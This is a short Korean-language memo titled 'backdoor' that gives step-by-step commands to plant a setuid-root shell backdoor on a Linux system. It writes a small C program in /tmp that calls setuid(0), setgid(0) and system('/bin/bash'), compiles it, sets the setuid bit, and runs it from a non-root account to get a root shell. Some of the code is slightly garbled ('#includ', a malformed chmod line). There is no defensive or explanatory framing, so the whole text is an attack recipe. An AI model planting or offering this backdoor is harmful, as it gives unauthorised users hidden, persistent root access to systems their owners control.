backdoor 백도어

yum -y install gcc*
 
cd /tmp
vi backdoor.c
=============
#includ<stdio.h>
main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
==========
gcc -o back backdoor.c
chmod 4777(u+s) back
 
 
root가 아닌 타계정 : ./back
/tmp/back